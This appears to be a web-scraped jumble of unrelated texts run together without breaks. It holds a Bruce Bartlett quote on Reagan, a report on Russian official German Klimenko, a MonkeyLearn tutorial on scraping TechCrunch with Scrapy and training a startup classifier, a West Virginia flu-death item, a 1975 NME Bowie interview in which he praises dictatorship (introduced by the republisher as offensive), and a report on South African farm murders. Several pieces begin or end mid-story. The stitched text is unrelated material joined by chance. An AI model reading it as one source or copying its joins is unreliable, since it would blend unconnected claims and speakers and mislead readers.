"I think he probably would be booed out of the crowd," Bruce Bartlett said. "If only because he gave amnesty to illegal aliens back in 1986. Nativists like Representative Steve King routinely denounce Reagan for that. They would have denounced him for raising taxes eleven times. They would have denounced him for raising the debt limit. They would have denounced him for running budget deficits. They would have denounced him for supporting labor unions. ... And we are not even getting into all the liberal things that he did as governor such as signing the most liberal abortion law in the United States. I think this guy definitely would not be a favorite of this crowd."
Ed Schultz then asked if it is that conservatives and CPAC attendees just do not know their history.
Mr Klimenko promised that the use of new media technologies in finance will increase the positive development in the industry and will stimulate the growth of the national budget and gross national product.
“There are examples of this in the world, and here in Russia,” he said. “Internet technologies provide economics with maximum of labour effectiveness and financial transparency, increasing dramatically the capitalization of companies.”
Klimenko admitted to having compared the role of internet technologies in economics with new oil in a talk with President Vladimir Putin.
When asked about new financial instruments and electronic rouble, Klimenko denied any plans involving the digital currency bitcoin. He explained that the state cannot let on its territory a currency emitted “by whomever.” At the same time, however, his programme of integration of economics with internet technologies includes cashless payments.
“Everything bought and sold on the internet is now operating – to be legally accurate – through the electronic rouble. We pay cashless and we are happy with that, there are no alternative plans like bitcoin,” he said.
German Klimenko is a well-known figure on the IT market. He is the director and owner of the LiveInternet company and the news aggregator MediaMetrics. He is also the creator of the website catalogue List.ru, TopList and other influential projects. In February 2015 he became director of the Institute of the Internet Development.
On this new post series, we will analyze hundreds of thousands of articles from TechCrunch, VentureBeat and Recode to discover cool trends and insights about startups.
What are the hottest industries for startups right now?
Do machine learning startups get more press than fintech startups?
What is the startup segment with most acquisitions?
These are the types of questions we aim to answer with this analysis.
On this first post, we will cover how Scrapy can be used to get all the articles ever published on these tech news sites and how MonkeyLearn can be used for filtering these crawled articles by whether they are about startups or not. We want to create a dataset of startup news articles that can be used for studying trends later on.
On the second post, we will create text classifiers that do analysis on the actual content of the startup articles. Is it a news about acquisition? Fundraising? Product launch?
Finally, on the third post we will use the data we got here, and the classifiers from the second post, to answer our questions.
So, let’s get started! Today, we will:
1. Scraping from tech news sites
Our goal is to analyze a lot of tech articles covering a certain topic — startups. This means that we have to download these articles first. In fact, since we want to do historical analysis of industry trends, we need to get all the articles ever published in TechCrunch, VentureBeat, and Recode.
The process to get the articles is pretty similar for all of these tech sites (and other news sites as well), so we’ll only go over how it can be done with TechCrunch. You can find the full code for this project here. If you are new to Scrapy, check out the official tutorial and our previous post on Scrapy.
Finding the archive
The first step is getting access to all the articles the site has ever published. Most news sites have an archive, but it can be hidden away. Finding it usually involves snooping around a little bit. Some sites you can access the archive by date, like site.com/yyyy/mm/dd (as is the case of TechCrunch and VentureBeat archive). Other sites could be somewhere like site.com/archive (as is the case of the Recode archive). Usually, the archive is a variation of this, but every website is different. And always remember: Google is your friend.
In the archive we already have the article title and date, but we want the full text. Since this preview only shows part of the text, we’ll have to visit every individual article’s page in order to get it. We also can see one of the tags, but articles usually have several.
Creating the spider using Scrapy
Alright, we have found the archive for TechCrunch, and it has a page per day. This means that, if we want to get all the articles ever published on the site, we have to get the archive page for every day since they started publishing articles (2005-06-11). With Scrapy, this is pretty simple:
spiders/techcrunch_spider.py from datetime import datetime, timedelta import scrapy class TechCrunchSpider(scrapy.Spider): name = "techcrunch" def start_requests(self): start_date = datetime(2005, 6, 11) date = start_date while date <= datetime.now(): new_request = scrapy.Request(self.generate_url(date)) new_request.meta["date"] = date new_request.meta["page_number"] = 1 yield new_request date += timedelta(days=1) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from datetime import datetime , timedelta import scrapy class TechCrunchSpider ( scrapy . Spider ) : name = "techcrunch" def start_requests ( self ) : start_date = datetime ( 2005 , 6 , 11 ) date = start_date while date <= datetime . now ( ) : new_request = scrapy . Request ( self . generate_url ( date ) ) new_request . meta [ "date" ] = date new_request . meta [ "page_number" ] = 1 yield new_request date += timedelta ( days = 1 )
We are overriding start_requests in order to get the URLs for the pages. Every time Scrapy needs a new page to download, it will call the next item returned by this method. We also defined a generate_url method, which will return the URL of a page given a date and (optional) a page number. This will come in handy later because for some days, there is more than one archive page.
spiders/techcrunch_spider.py def generate_url(self, date, page_number=None): url = 'https://techcrunch.com/' + date.strftime("%Y/%m/%d") + "/" if page_number: url += "page/" + str(page_number) + "/" return url 1 2 3 4 5 def generate_url ( self , date , page_number = None ) : url = 'https://techcrunch.com/' + date . strftime ( "%Y/%m/%d" ) + "/" if page_number : url += "page/" + str ( page_number ) + "/" return url
Parsing each archive page
Afterwards, we define parse . This method is called for each Request. It will parse all the articles contained within the Response, and then go to the next page for that date. In order to have access to that info later on, we pass as metadata the date and the page number (which will always be 1 at first, but parse will call itself with the next pages). The corresponding Response object will then contain these attributes, and we can access them.
spiders/techcrunch_spider.py def parse(self, response): date = response.meta['date'] page_number = response.meta['page_number'] articles = response.xpath('//h2[@class="post-title"]/a/@href').extract() for url in articles: request = scrapy.Request(url, callback=self.parse_article) request.meta['date'] = date yield request url = self.generate_url(date, page_number+1) request = scrapy.Request(url, callback=self.parse) request.meta['date'] = date request.meta['page_number'] = page_number yield request 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def parse ( self , response ) : date = response . meta [ 'date' ] page_number = response . meta [ 'page_number' ] articles = response . xpath ( '//h2[@class="post-title"]/a/@href' ) . extract ( ) for url in articles : request = scrapy . Request ( url , callback = self . parse_article ) request . meta [ 'date' ] = date yield request url = self . generate_url ( date , page_number + 1 ) request = scrapy . Request ( url , callback = self . parse ) request . meta [ 'date' ] = date request . meta [ 'page_number' ] = page_number yield request
The way this works is pretty straightforward: using an xpath selector we get the URL for every article on this page, which we then send to parse_article. Afterwards, the function calls itself with the next page. It’s important to note that we are straight up requesting the next page, without knowing if there actually is a next page. If there isn’t, the site will just return 404 and Scrapy will discard it by default.
Now the only step left is parsing each article and getting the content, but we have to define a couple of things first: Items and Loaders.
What will we scrape?
In order to save the content of an article, we need to define an Item that describes the fields that we want to fill. In this case, we want to get all the relevant content of an article:
This means we will create a Scrapy Item (in items.py)with the fields title, text, and tags. In addition, we will also save an article’s publishing date, and its URL.
Loaders and Selectors
Also, we will use loaders in order to populate the items. What are loaders you ask? To quote the official docs, “Items provide the container of scraped data, while Item Loaders provide the mechanism for populating that container”. What this means is that, instead of putting strings directly in the Item object like we did before, we call the loader which does it for us.
This makes it much easier to process the data, since we’re not doing it by hand in the spider anymore. Instead, we just tell the loader what processing we want to be done for the data that is fed into each field. We strongly suggest reading the explanation for this feature here.
This is what the TechCrunch loader looks like:
loaders.py from scrapy.loader import ItemLoader from scrapy.loader.processors import MapCompose, Join class TechCrunchArticleLoader(ItemLoader): default_input_processor = MapCompose(lambda s: unicode(s, "utf-8"), unicode.strip) default_output_processor = Join() tags_in = MapCompose(unicode.strip) tags_out = Join(separator=u'; ') 1 2 3 4 5 6 7 8 9 from scrapy . loader import ItemLoader from scrapy . loader . processors import MapCompose , Join class TechCrunchArticleLoader ( ItemLoader ) : default_input_processor = MapCompose ( lambda s : unicode ( s , "utf-8" ) , unicode . strip ) default_output_processor = Join ( ) tags_in = MapCompose ( unicode . strip ) tags_out = Join ( separator = u '; ' )
We have a general processor for all the fields (title, subtitle, and so on) and a specific one for tags, since there are several of them and we want to get them all. More on this later.
This will make more sense with the parse_article method in the spider. Remember that this is called for each article page, and we want it to create an Item object with the content of the article.
spiders/techcrunch_spider.py def parse_article(self, response): l = TechCrunchArticleLoader(Article(), response=response) l.add_xpath('title', '//h1/text()') l.add_xpath('text', '//div[starts-with(@class,"article-entry text")]/p//text()') l.add_xpath('tags', '//div[@class="loaded acc-handle"]/a/text()') l.add_value('date', str(response.meta['date'])) l.add_value('url', response.url) return l.load_item() 1 2 3 4 5 6 7 8 def parse_article ( self , response ) : l = TechCrunchArticleLoader ( Article ( ) , response = response ) l . add_xpath ( 'title' , '//h1/text()' ) l . add_xpath ( 'text' , '//div[starts-with(@class,"article-entry text")]/p//text()' ) l . add_xpath ( 'tags' , '//div[@class="loaded acc-handle"]/a/text()' ) l . add_value ( 'date' , str ( response . meta [ 'date' ] ) ) l . add_value ( 'url' , response . url ) return l . load_item ( )
In order to understand what’s going on here, let’s look for example at how the tags are parsed: //div[@class="loaded acc-handle"]/a/text() is a list of all the tags that the article has (in this case, ['Culture', 'Meme', 'Instagram', 'evolutionary psychology', 'Europe'] ). Because of the way the page is laid out, if you try that xpath in scrapy shell, each tag will come with preceding and trailing whitespace (tabs, spaces, newlines). We remove that with unicode.strip for each item of the list. Then, we join the list into a string using Join(separator=u';') . This will return 'Culture; Meme; Instagram; evolutionary psychology; Europe' , which is what we will save in our CSV file.
Loaders are a very useful and powerful tool that saves a lot of work. You don’t have to do all this processing manually since the Loader just does it for you, and it’s very easy to reuse them in similar spiders (in this case, the ones for the other websites).
Running the spider
Check out the finished TechCrunch spider here! In that repository there are also (very similar) spiders for VentureBeat and Recode as well. To run it, use scrapy crawl techcrunch -o itemsTechCrunch.csv, which generates a CSV file containing all the articles ever published in TechCrunch. It will take a while to run though, since in the 12 years its inception the site has published more than 150.000 articles.
2. Filtering the articles
Cool, we now have a lot of news articles. What now?
When we started out, we said we wanted to know what’s going on in the startup world based on what the tech press says. And here we have our first problem to solve: not all of these articles are about startups! In fact, most of them aren’t, since the world of tech isn’t all about startups.
Skimming through the scraped data, you do find articles about startups, but also about established companies like Apple, Microsoft, Google or Samsung. You also find completely unrelated things like the latest podcast, a cool youtube video, internet drama, and so on. So, in order to do any type of analysis about startups, first we need to create a classifier that can tell whether an article is about a startup in the first place. Then we’ll use it to filter out the articles that don’t interest us.
What is a startup?
This problem isn’t as trivial as it may seem at first, since it’s pretty hard to define what a ‘startup’ even is, and even though for many it’s obvious, there are some articles that walk the line. In most cases, it’s very clear. It’s usually an article about a new, small-ish company, developing a new and exciting product. That is definitely in. Then there are articles about big, established companies like Microsoft. Those are definitely out.
However, we will encounter cases where it’s less clear: let’s say that Microsoft acquired a startup. Is that article about startups, or not? In our case, we will make the decision to say that yes, it is about startups, although it’s arguable that it could be excluded.
These kinds of decisions have to be made throughout the creation of the model, and they have to be consistently followed, else creating confusion in the classifier.
Creating a classifier
Alright, so let’s create a classifier to solve this problem! For more in-depth advice on text classifiers check out this guide.
If you have never done so, it’s as easy as going the MonkeyLearn Dashboard and clicking Create Model on the navbar on top. Afterwards you’ll answer some questions about the new model: Basic info like name and type, what the model will be doing (Web scraping and Topic Categorization), and what the text it will be working with is like (News articles and English language).
Check this out if you want to see the creation of a model step by step.
Defining the tag list
Now that we have an empty classifier, let’s add the tags we want. This tag list will pretty simple since what we want to do is given a tech news article, answer the question “is this article about a startup company or not”? So, every article belongs in one of two tags: startup, or everything else (let’s call that one not_startup).
To add new tags, simply click on the root category and select add child. After you add both tags, your tag list will look like this:
3. Creating a training dataset
Now we have a tag list, but we have no tagged data! That’s no good, we can’t train if we don’t have any training data. And this time, we don’t have tagged data like we did when we analyzed hotel reviews, so we’ll have to tag it ourselves. Reading articles and tagging them one by one sounds tedious, but it’s not as bad as you might think at first.
Taking a data sample
First, we have to take a random text from the full dataset and save it as a new CSV file that we can use for tagging training data. We also do some processing on the columns, discarding the fields we saved that MonkeyLearn doesn’t need (URL and date) and joining the text fields into a single column.
import unicodecsv as csv import random articles = list(csv.reader(open("scraped_data.csv"))) # 500 samples should be more than enough for this problem training_set = random.sample(articles[1:], 500) training_set = [["
".join([sample[1], sample[0], sample[3], sample[4]])] for sample in training_set] with open("items_TechCrunch.csv", "wb") as csvfile: writer = csv.writer(csvfile, dialect='excel') writer.writerows(training_set) 1 2 3 4 5 6 7 8 9 10 11 import unicodecsv as csv import random articles = list ( csv . reader ( open ( "scraped_data.csv" ) ) ) # 500 samples should be more than enough for this problem training_set = random . sample ( articles [ 1 : ] , 500 ) training_set = [ [ "
" . join ( [ sample [ 1 ] , sample [ 0 ] , sample [ 3 ] , sample [ 4 ] ] ) ] for sample in training_set ] with open ( "items_TechCrunch.csv" , "wb" ) as csvfile : writer = csv . writer ( csvfile , dialect = 'excel' ) writer . writerows ( training_set )
Done! You can also find in the repository the untagged training dataset we created. It’s important we take a random sample instead of just taking a sequence of articles straight from the dataset, since you risk not representing it accurately. Doing this would be like doing a survey for a whole city in a single neighborhood: you’ll know a lot about that neighborhood, but unless all the other neighborhoods in the city are exactly the same, your data will be useless for making claims about the population of the entire city.
Now, we just have to upload that file to the classifier we made and we are ready to start tagging. We are going to use MonkeyLearn’s interface for tagging the dataset, but you can use whatever you find more comfortable.
That’s just a matter of going to the Data tab and choosing Upload. When prompted to choose a file type, select CSV. Then, browse for the training_set.csv file we created earlier. Afterwards, you’ll be shown a preview of the file. Just choose Use as text for the only column, which means that we will be using the concatenated article title, text and tags as the text for training the classifier.
Tagging the training dataset
Within the Data tab we are presented with a listing of all the texts that we just uploaded. For each one of these, we want to assign a tag. This means that for each text we will ask the question: is this article about a startup, or not?
Now it’s time we start tagging our data. You can read the full text by clicking on it. When going through a dataset, you should always read enough to be sure what tag it belongs to, else you risk adding bad texts to your dataset and causing confusion to your machine learning model.
You can also navigate entirely with the keyboard: move around with the arrow keys and view a sample with keystroke “v”. Open the full shortcuts list by pressing “h” or “?”. Using the keyboard greatly improves the speed of classification, since you don’t lose time hunting around with the mouse pointer.
After reading the text, select it, go to Actions and choose Move selected texts. (You can also move tags in bulk, by selecting several at the same time).
The tag list will pop up and there you can choose what tag the selected text belongs to:
How many texts to tag? That depends on the problem you are solving. It’s a good idea to tag part of the dataset, test it out (both with MonkeyLearn’s metrics, seen in the next section, and with your own, unseen data), tag some more, and see if it improves. Rinse and repeat until you are satisfied with the results.
If afterwards, you end up adding more data besides these original 500 texts, be mindful of duplicates. It’s important to avoid having duplicates in the model, since it will generate a weaker classifier either due to confusions or overfitting.
4. Training the model
Let’s say you have been at it for a while, and now have 100 tagged texts. Naturally, you want to see how you’re doing. You can train the model with the data you already have! Just go to the Tree tab and click Train, and MonkeyLearn will train the classifier using the 100 texts you already classified and ignoring the other 400 untagged texts.
MonkeyLearn will show its metrics, and you can test it out with your own examples. You can continue improving the model by tagging more of the text data, adding data from other sources, fixing the confusions, or checking out the training parameters. Check out this guide for more handy advice on how to improve the model.
If you are satisfied with the results, the model is always ready for integration, from the API tab.
You can check out the classifier we made here. It has almost 700 tagged texts, and MonkeyLearn reports an accuracy of 80%. This is pretty good for a topic with such a gray area (it isn’t clear for many articles which tag they belong to, like we said before).
5. Trying out the classifier
Let’s try the classifier out!
Using the classifier through the API
You can go to the API tab to see how you can use this model to classify a list of texts.
As an example, let’s classify the last 100 items of the scraped CSV we created:
import unicodecsv as csv from monkeylearn import MonkeyLearn articles = [row for row in csv.reader(open("items_TechCrunch.csv"))][-100:] ml = MonkeyLearn('<Your API key here>') text_list = ["
".join([sample[1], sample[0], sample[3], sample[4]]) for sample in articles] module_id = 'cl_Xq6cFpsX' res = ml.classifiers.classify(module_id, text_list) # join the articles with the classifications for i, article in enumerate(articles): current_tag = res.result[i][0] article.extend([current_tag["label"], current_tag["probability"]]) # print the results print(articles) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import unicodecsv as csv from monkeylearn import MonkeyLearn articles = [ row for row in csv . reader ( open ( "items_TechCrunch.csv" ) ) ] [ - 100 : ] ml = MonkeyLearn ( '<Your API key here>' ) text_list = [ "
" . join ( [ sample [ 1 ] , sample [ 0 ] , sample [ 3 ] , sample [ 4 ] ] ) for sample in articles ] module_id = 'cl_Xq6cFpsX' res = ml . classifiers . classify ( module_id , text_list ) # join the articles with the classifications for i , article in enumerate ( articles ) : current_tag = res . result [ i ] [ 0 ] article . extend ( [ current_tag [ "label" ] , current_tag [ "probability" ] ] ) # print the results print ( articles )
You can print this result to the notebook and check it out, or save it again as a CSV file and open it as a spreadsheet. Or if you’re feeling lazy, just check out the already completed notebook here.
Using the classifier without coding
Here you have different options:
Using the MonkeyLearn interface
You can go to the Classify Text section and just paste a text and classify a single text or go to the Classify File and upload a CSV file with a list of articles to be classified.
Using Google Spreadsheets
If you like to use Google Spreadsheets, you can use our Google Spreadsheets Plugin to classify a list of articles one per row and get the classification in a new column.
Using Zapier
If you are a Zapier user, you can use MonkeyLearn within Zapier and connect with many other services. For example, you could create a zap to trigger when new articles are published in TechCrunch through a RSS feed step. Then classify the article content with MonkeyLearn and finally store the new article and its classification in a Google Spreadsheet or just send you an alert to your email account. If you want to have early access to our Zapier integration, just drop us a line to hello@monkeylearn.com
Final words
Today we scraped all the articles ever published in TechCrunch, VentureBeat and Recode, and we filtered out the ones that aren’t about startups. We will use this dataset for further analysis in future posts!
This same outline can be followed to create a filter on any other topic a piece of text can cover: gather the data you want to be filtered, get a random text, and tag it to train a classifier. You could make a similar filter that discards clickbait articles, or spam, or for anything else that could be ruled undesirable.
Next time around we’ll create new classifiers that can analyze startup news content more in-depth to get insights about the industry and its change over time.
How has startup fundraising changed through the years? Acquisitions? Which industries are more popular for startups now, when compared to 3 years ago?
Kanawha-Charleston Health Department officials said Emily Kaitlyn Sims became the state's first reported pediatric influenza death since 2004 with her death on March 5, the Charleston (W. Va.) Daily Mail said Friday.
Rahul Gupta, the health department's director, said the teen died shortly after being showing signs of the flu and visiting her family physician.
Sims was freshman and an honor student at St. Albans High School at the time of her death.
Gupta said Thursday that tests are being conducted to determine if methicillin-resistant Staphylococcus aureus bacteria had anything to do with Sims' death.
Bowie's ill-advised and offensive flirtation with Nazism was partially the result of cocaine psychosis and extreme misjudgement, but it was also wilfully misunderstood and exaggerated by the press at the time. Riffing on the theme of links between totalitarianism and rock music that had arisen in a Kraftwerk interview in Creem magazine just months beforehand, this was the start of a period where he became spectacularly unstuck. Here, thanks to our friends at Rock's Backpages is the controversial NME feature republished in full.
David Bowie: Watch Out Mate! Hitler’s On His Way Back
Anthony O'Grady, NME, August 1975
"WE THINK WE'VE got an audience," says the spokesperson in the Bowie suite. "We're pretty sure the operator will be listening in."
"This is the Los Angeles operator... we think we have a connection and we will not, repeat not, be listening ..."
"They always say that," says the Bowie person.
Finally...
"A big hullo to all of you people over there from all of me over here. What's happening?"
Eeeeek! It's Dah-aaaah-veeeed!
And what's happening is his voice keeps fading into blurry white noise. (Telephone operators bootlegging the conversation?) As always, he speaks with an accentless clipped tone, very English but very anonymous all at the same time. The sort of voice that goes with whatever personality its owner is wearing at the time. Ziggy Stardust to Diamond Dog to Flame-Flared Androgynous Dandy. But it's weird and quite ghostly when you hear it without seeing the visual effect. What you become aware of, more than anything else, is the man's Scarlet Pimpernel-like intelligence. They seek him here, they seek him there...
For Bowie is someone who speaks out strongly, yet won't stay pinned down to any opinion. Or indeed lifestyle. And of late his lifestyles have undergone startling, changes.
Early in the year, there was the Young Americans album which confirmed his flirtation with American soul; it sure was a change from the surrealistic R & B of the previous Diamond Dogs, anyway. About the same time as Young Americans, he upped and left longtime manager Tony De Fries. But soon afterwards there were rumours he was planning a concert tour of Brazil. No Brazil. But he did spend some time recording Detroit street punk artiste lggy Pop (the midget who had inspired the Bowie song, 'Jean Genie'). And the next word on Bowie was he was huddled in a room drawing pentangles, burning candles, chanting spells. And then he started work on a film The Man Who Fell To Earth.
Definitely it was a rapid-change program.
MEANWHILE..... back at the telephone receiver.....
David why don't we start talking about the Young Americans album?
"OK. Go Ahead."
Um, well ... the 'Young Americans' track, what's the story behind that one?
"No story. Just young Americans. It's about a newly-wed couple who don't know if they really like each other. Well, they do, but they don't know if they do or don't. It's a bit of a predicament.
"The next track 'Win' was a 'Get up off your backside' sort of song really – a mild, precautionary sort of morality song. It was written about an impression left on me by people who don't work very hard, or do anything much, or think very hard – like don't blame me 'cause I'm in the habit of working hard.
"You know, it's easy – all you got to do is win."
The voice fades into white noise, then comes back.
"'Fascination'? There's not much I can say really, it's pretty self-explanatory. . ." And Bowie fades away ... pauses ... comes back. "Like over here, it's bright young Americans, you know, the lilting phrase before the crashing crescendo. In England it's a dirge – the days are all grey over there. It's a bit worrying.
"Like that uncertainty stretches from where I am to where you are. There's literally no economic confidence in any one nation in the world. There's not one confident central source anywhere on this whole damn planet.
"It makes you want to shoot yourself – it's very demoralising. I think we should maybe strengthen up a bit.
"I think the morals should be straightened up for a start. They're disgusting. This whole particular period of civilisation ... it's not even decadent. We've never had true decadence yet. It borders on Philistine, really.
"If you, like me, believe the current morality... or the signals for each morality really... are pushed by an established power or, media... well, it's really just another way of suppressing or ridiculing the working man, so he has less to look up to in his own life.
"I mean, to put on pornographic movies in a truly free society is one thing; to put on pornographic movies in America is very dangerous because it intimidates and ridicules the average family man. He watches himself being portrayed six inches tall on TV every night, and he wakes up the next morning and he feels six inches tall, he thinks he is six inches tall.
"There's a continual dirge of music on radio. I like music, but ... conversation on radio is totally missing, there's no gambit no motivation on the radio any more. It used to happen some years ago on FM radio but it's totally lacking now. With the FM stations in America. If they don't start slipping into a Top 40 format, they go broke, and are then bought by the Church. I think over 45% of the older FM stations are now owned by the church or religious organisations.
"It's absolutely incredible the way media is used over here. With all it's potential power and the vast implications of what could happen, it is confounding. It just repads what is padded. You have absolutely no feedback in America as to what the real situation is by listening to TV, radio, reading newspapers.
"And unfortunately, at this moment, listening to music as well. It's a pretty sorry state."
This is somewhat stunning from a man who has manipulated the media significantly himself.
Like many years ago, there was his coy admission of bisexuality that set English newspapers screaming – a story by the way that probably had little basis – Bowie has certainly denied any bisexual leanings since.
Then there was his prediction that a major rock star, maybe himself, would certainly die on stage within the next few years. And yet, after a year's retirement from stage performances he returned with a wilder more frantic act yet. Scalding audiences into a frenzy.
And now, David The Guardian of Morality. One thing for sure – or rather – four or five things for sure – Bowie is a rapid change chameleon. It's always been part of his appeal. The new Bowie though is more than a little startling. It's almost a Saul/St. Paul type change...
"I just want to do some things I want to do," he says. "I've recently gone through some pretty interesting changes" (He ain't kidding).
"I'd like to do something that's actively concerned with trying to clear up the mess. I have an idea, but I'd rather do it than say it. But as it is, the situation's just nonsensical, it goes round in never decreasing circles. Rock and roll certainly hasn't fulfilled its original promise.
"Like the original aim of rock and roll when it first came out was to establish an alternative media speak voice for people who had neither the power nor advantage to infiltrate any other media or carry any weight and cornily enough, people really needed rock and roll.
"And what we said was that we were only using rock and roll to express our vehement arguments against the conditions we find ourselves in, and we promise that we will do something to change the world from how it was. We will use rock and roll as a springboard.
"But it's just become one more whirling deity, right? Going round that never-decreasing circle. And rock and roll is dead."
Does he really believe that?
"Absolutely. It's a toothless old woman. It's really embarrassing."
So what's the next step?
"Dictatorship," says Bowie. "There will be a political figure in the not too distant future who'll sweep this part of the world like early rock and roll did.
"You probably hope I'm not right. But I am. My predictions are very accurate ... always."
Actually, Jean Dixon, the religious clairvoyant who predicted John F. Kennedy's and Robert Kennedy's assassinations – has predicted very much the same thing. Only thing is, Jean's political figure rises in the East and presents a grave threat to Western democracy.
On the other hand, Jean Dixon also foretold Nixon's Watergate troubles, but prophesied Tricky Dick would squirm through OK.
But back to Rent-An-Apocalypse...
"You've got to have an extreme right front come up and sweep everything off its feet and tidy everything up. Then you can get a new form of liberalism.
"There's some form of ghost force liberalism permeating the air in America, but it's got to go, because it's got no foundation at all, apart from a set of laws that were established way back in the bloody '50s and early '60s and have no bearing at all in the '70s. (The Supreme Court in America was at its most liberal in the late '50s, early '60s.)
"So the best thing that can happen is for an extreme right Government to come. It'll do something positive at least to the cause commotion in people and they'll either accept the dictatorship or get rid of it.
"It's like a kaleidoscope," says Bowie. "No matter how many little colours you put in it, that kaleidoscope will make those colours have a pattern ... and that's what happens with TV – it doesn't matter who puts what in the TV, by the end of the year there's a whole format that the TV put together. The TV puts over its own plan.
"Who says the space people have got no eyes? You have – you've got one in every living room in the world. That's theoretical of course..."
Not to mention very disassociated... bordering on dislocation.
On the subject of Bowie's own chameleon character...
"Well, I never had much luck telling people I was an actor, so I let everyone else figure it out. I don't really want to go into any of that. It's been chewed around and boiled around, I mean a man does what he has to do.
"Whatever thing I was doing at the time, I adopted a character for it. I've said that so many times now, I'm getting used to trotting it out. I might look like Zsa Zsa Gabor next month, or Marlon Brando, you never can tell, 'cause I don't know what I will feel like then.
"If anything maybe I've helped establish that rock and roll is a pose. My statement is very pointed – except it's very ambiguous. My statement is rock and roll is walking all over everybody'"
Really?
"Yes, really. Like, I tried to do a little stretch of how it feels musically in this country, which is sort of ... the relentless plastic soul basically. That's what the last album was."
Would you repeat that?
"What?" says David. "The relentless plastic soul? But, Christ, that's what decadence is ... talking about one's album. Who needs to hear another bloody artist talking about another album. Come on!"
But it is a business. This never decreasing circle that is rock and roll. And talking about your albums helps sell them.
"I know," says Bowie. "And I don't help at all. I'm afraid. I'm not the most manageable artist in the world."
Ex-manager Tony De Fries agrees, in case you're wondering.
"Anyway," continues Bowie. "I think what we've talked about is more interesting quite honestly, and I think it's more interesting to you."
That's true.
"Actually, I want to say a few things on the album.
"Like, 'Right' is putting a positive drone over. People forget what the sound of Man's instinct is – it's a drone, a mantra. And people, say: 'Why are so many things popular that just drone on and on'. But that's the point really. It reaches a particular vibration, not necessarily a musical level."
And that's what 'Right' is...
"Oh, alright ... let's talk about the rest of the album. Very decadent this is [laughs]. 'Somebody Up There Likes Me' is a 'Watch out mate, Hitler's on his way back'... it's your rock and roll sociological bit.
"And 'Across The Universe', which was a flower power sort of thing John Lennon wrote. I always thought it was fabulous, but very watery in the original, and I hammered the hell out of it. Not many people like it. I like it a lot and I think I sing very well at end of it.
"People say I used John Lennon on the track ... but let me tell you ... no one uses John Lennon. John just came and played on it. He was lovely.
"'Can You Hear Me' was written for somebody but I'm not telling you who it is. That is a real love song. I kid you not. And the end of the thing is 'Fame' which was more or less sung about what we're doing now."
Bowie seems less than bubbly about his latest collection. He is even less so about the chances of himself performing again.
"Frankly, I've just started this film, and after that, I'm going to do some directing. Unless I see a particular reason for going out on stage and getting involved in another dramatis personae there, then I won't bother. It has to serve a constructive purpose."
Ah yes, the movie, The Man Who Fell To Earth...
"Yeah, that's right, it's being made by Nick Roeg. (He did Performance and a film called Don't Look Now.) This film's about Howard Hughes, I think. Well, it might be, might not be. I play the starring role. How about that for a piece. Isn't he a jammy bugger that Bowie. I don't know... in the business five minutes and he's taking work away from veterans!"
Bowie's been in the acting business a few years longer than five minutes. What happened about the role Liz Taylor wanted to use him for?
"No way, that was a rotten film she wanted me to do. And a rotten part. She's finding out about it now. She's in Russia stuck out there. The thing she's in is called Bluebird, a very dry, high French fairytale with nothing to say. It is being directed by a wonderful director.
"But the whole film stinks and I turned it down."
Has Bowie seen Tommy?
"No I haven't."
Does he intend to?
"No I don't."
Really?
"Yeah. I don't like rock and roll very much."
Well what do you think of Ken Russell as a director?
"I don't like him at all. He's... no, we'd better skip that."
One of the things Bowie may do after The Man Who Fell is to produce-direct himself in an original screenplay.
"I've done nine screenplays over the past year. I spend so much time on that damn road, and I do things like write films. I've got a lot to get on with. Well, I have, but I don't know which one to do.
"I'll probably do the one I wrote for myself and lggy Pop and Joan Stanton. I haven't even got a title for it yet and I don't really want to go into the story. But it's very violent and depressing, it's not gonna be a happy film. It'll probably bomb miserably, I'm sure.
"I want to make it in black and white to boot. I like films made before the '30s – they seemed to have a lot more genuine expression."
It could have continued for hours. The operators could have bootlegged a lot longer and Bowie himself was warmed up and running nicely. However...
"Hey," says Bowie cheerfully. "They're taking me away – truncheons and tommy guns – and they're saying 'Come with us, David'. I'll speak to you next time I've got an album or something else and we'll talk about something else..."
© Anthony O'Grady, 1975
“I miss him so terribly — it’s just so hard,” she said, sitting in front of the frail-care unit that has been her home since the attack at their farm.
Robert “Oki” Turner, 66, was beaten to death before her eyes six months ago on their isolated stretch of mountain land in South Africa’s northeastern Limpopo province.
He was one of the latest victims of a long campaign of violence against the country’s farmers who are largely white.
The rural crime epidemic has inflamed political and racial tensions nearly a quarter-of-a-century after the fall of apartheid.
Farm murders are just one issue that reveals how South Africa is struggling with violence, an economic slowdown and divisions along race lines.
The Turners moved to the verdant region, half-way between Kruger national park and Zimbabwe, some 30 years ago.
On their property, which spans dozens of acres, they grew gum trees which they sold to craftsmen or for firewood.
“Until about four or five years ago, we were very open. We didn’t have a key for our house — we would go away and nothing would have happened,” she said.
But then the extreme violence that had long afflicted major cities engulfed rural areas like theirs.
Break-ins, hostage takings and killings became common — with attackers often making off with just a few hundred rand (less than $20), a mobile phone or a hunting rifle.
The Turners were targeted after nightfall on June 14 when two armed men stormed their farm. Debbie was alone after her husband stepped out to fix a water tap.
– Savagely beaten –
“They said ‘we want money’. I said I haven’t got money,” recounted Debbie.
“They dragged me all over the house and put me under the shower and turned it on and left me for 15 minutes.
“Then they decided to try to rape me. I said ‘please don’t rape me, I’ve got HIV’.”
Some time later, Oki was found slumped motionless covered in blood after being savagely beaten by the attackers searching for the key to the couple’s safe.
He died in hospital a few hours later.
Dozens of white farmers are murdered in similar circumstances in South Africa every year.
In the absence of detailed statistics, the scope and scale of the crimes has become a battleground.
AfriForum, a pressure group that advocates on behalf of the country’s nine-percent-strong white population, is one of the forces seeking to shape the debate around farm murders.
“Farmers are living in remote areas, they are far from police stations,” said the group’s vice president, Ernst Roets.
“There are political factors that play a role here. We are concerned about hate speech, political leaders who… would say for example ‘the white farmers should be blamed for everything’.”
He is particularly damning of Julius Malema, the firebrand leader of South Africa’s radical left, who has called on his followers to “retake the land” from whites.
In 2012 President Jacob Zuma sang a struggle-era song containing the words “shoot the farmer, shoot the Boer”.
Agriculture, like much of South Africa’s economy, remains in the hands of the white descendants of colonial-era settlers.
White farmers control 73 percent of arable land in the country compared with 85 percent when apartheid ended in 1994, according to a recent study.
Calls for “radical economic transformation” to benefit the black majority have gained traction as unemployment has soared.
They are frequently coupled with accusations that the white minority control a disproportionate share of the nation’s wealth.
– ‘We built this country’ –
That narrative has alarmed many white rural communities.
“We’re being hunted,” said Pauli, a 43-year-old farmer who declined to give her surname.
More militant white farmers describe the violence they face as “genocide” and use the casually racist rhetoric of the apartheid era.
